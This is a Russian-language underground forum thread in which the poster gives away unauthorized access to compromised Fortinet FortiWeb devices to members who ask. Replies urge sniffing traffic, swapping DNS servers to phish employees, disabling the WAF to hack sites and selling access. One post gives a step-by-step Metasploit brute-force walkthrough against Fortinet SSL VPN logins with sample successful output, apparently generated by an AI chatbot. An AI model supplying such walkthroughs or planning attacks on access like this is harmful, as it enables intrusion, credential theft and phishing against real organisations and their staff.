Раздача Fortiweb.

хочу

Выдал.
Так-же выдал еще нескольким участникам форума, которые написали в лс.

хочу

хочу

Выдал.

Так напишите статьи благодаря этим сеткам покажите что то интересное социальную инженерию и так далее проверьте как раз материал от @B777OP на практике. Попробуйте полностью контролировать сеть, отснифать трафик посмотреть сотрудники какие ресурсы посещают чаще замени днс сервер на свой пусть попадутся на фиш и подарят креды что-то такое что интересно читать. А после этого можно и раздать мат)

хочу

Хотел написать несколько статей на эту тему, но оказалось, что другие участники форума это уже обсудили.
Касаемо контроля сети, не уверен что это выйдет, т.к. Fortiweb это WAF на сайте.
Из вариантов эксплуатации, которые виделись мне: отключить WAF и взломать сайт либо поменять креды от админа и обновить прошивку, тем самым присвоив Fortiweb себе.
Для себя оставил немного интересных Fortiweb для будущих исследований, а все остальное хочу раздать другим для обучения.

Выдал.

I want

хочу

взявшие отпишите свое мнение....форти веб...смешно..))) как бы это Forti Gate и если админ права продвинутся вариантов много...спросить можно у ии пример дипсика отправив ему скрин...он кучу выдаст предложений...из них подумая одно приблизительно будет правильное....собирите логи и пасы .... зайдите по впн...чекните nxc....вообщем думайте пытайтесь....и вам воздасться...у вас будет полный доступ к сети....) сам тс походу не в курсе что имеет ... так плюсики собирает...и взявшие хз для чего им это...
не кого не хочу обидеть...

Выдал.

Не хочу продавать, т.к. Достать их может любой кто захочет.

не хочу и не могу ... ;) разные вещи... тебе модер дал дельный совет...что не прислушаться...

Пошаговая инструкция​

1. Запуск Metasploit: Откройте консоль и запустите Metasploit Framework.
   
   bash

msfconsole
Использование модуля: Загрузите вспомогательный модуль для сканирования FortiGate.

msf
use auxiliary/scanner/http/fortinet_ssl_vpn
Настройка целей: Укажите IP-адрес или диапазон целевых устройств.

msf
set RHOSTS <IP-адрес или диапазон>
Настройка параметров аутентификации (выберите один из способов):

• Одна учётная запись: Установите конкретные имя пользователя и пароль.
  
  msf

set USERNAME admin
set PASSWORD 123456
Списки учётных записей: Укажите пути к текстовым файлам со списками имён пользователей и паролей

.

msf
set USER_FILE /путь/к/файлусюзернеймами.txt
set PASS_FILE /путь/к/файлуспаролями.txt
Настройка дополнительных параметров (опционально):

• DOMAIN: Если для входа требуется указать домен/реalm, укажите его здесь

.

msf
set DOMAIN example.com
RPORT: Если VPN-портал использует нестандартный порт (по умолчанию 443).

msf
set RPORT 10443
THREADS: Для увеличения скорости сканирования можно увеличить количество потоков.

msf
set THREADS 10
Запуск атаки:

msf
run

Пример успешного выполнения​

В случае успеха, модуль найдёт действующие учётные данные и отобразит их в консоли

.

text
msf6 auxiliary(scanner/http/fortinet_ssl_vpn) > run

[+] 192.168.1.1:443 - Server is responsive...
[+] 192.168.1.1:443 - Application appears to be Fortinet SSL VPN. Module will continue.
[*] 192.168.1.1:443 - Starting login brute force...
[*] 192.168.1.1:443 - [1/1] - Trying username:"admin" with password:"123456"
[+] SUCCESSFUL LOGIN - "admin":"123456"

Как работают защита и обнаружение​

Эта техника активно используется в реальных атаках. Согласно данным исследований, в ходе кампании "FortiBleed" злоумышленники проводили массовый подбор паролей, используя 3 639 базовых паролей против 320 777 устройств FortiGate, что в сумме дало 1,16 миллиарда попыток

. Для защиты рекомендуется
:

• Включить двухфакторную аутентификацию (MFA).
• Использовать сложные пароли.
• Ограничить доступ к SSL-VPN по IP-адресам.
• Изменить стандартный порт для SSL-VPN.

хочу

Хорошо, попробуй сам выполнить инструкцию которую тебе дал ИИ. Пиши в лс, выдам Fortiweb. Если то, что тебе дал ИИ, не бред собачий, сможешь написать статью или продать доступ.

И к чему было "не хочу и не могу"?

Выдал.

)))) сам кури свой мат...у меня этого дерьма десятки тысячь....кому тебе школьник писать?)))
плюсики))) вот покаление нехт....дерзи своим....хотел же по хорошему...видит бог...
кто взял доступ от этого чудака отпишитесь
тс от куда ты прилетел...я от туда пешком пришел...